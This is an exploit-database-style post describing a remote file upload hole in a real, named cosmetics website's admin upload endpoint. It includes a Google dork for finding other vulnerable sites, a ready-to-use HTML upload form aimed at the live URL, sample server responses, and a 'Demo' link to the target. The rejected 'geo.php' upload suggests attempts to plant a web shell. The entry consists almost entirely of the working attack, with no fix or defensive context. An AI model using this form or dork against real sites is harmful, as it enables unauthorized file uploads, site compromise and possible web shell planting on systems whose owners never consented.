# Exploit Title: Makeupbarr Remote File Upload Vulnerability
# Google Dork: intext:Copyright Makeupbarr.Com
# Exploit Author: Mr.T959
# Author Website : http://mr-t959.xyz
# Tested on: Windows 7
--------------------------------------
# Exploit HTML Code :
<form method='post' target='_blank' action='https://www.makeupbarr.com/Admin/server/php/' enctype='multipart/form-data'>
<input type='file' name='files[]'><input type='submit' name='g' value='Upload Cok!'></form>
# Exploit
Admin/server/php/
# Successful
{"files":[{"name":"ecc4cebd847cd68e07746262fd8d2ec2.jpeg","size":5362,"type":"image\/jpeg","url":"https:\/\/www.makeupbarr.com\/Admin\/server\/php\/files\/ecc4cebd847cd68e07746262fd8d2ec2.jpeg"
# Error
{"files":[{"name":"geo.php","size":3468,"type":"application\/octet-stream","error":"Filetype not allowed"}]}
# Demo
https://www.makeupbarr.com/Admin/server/php/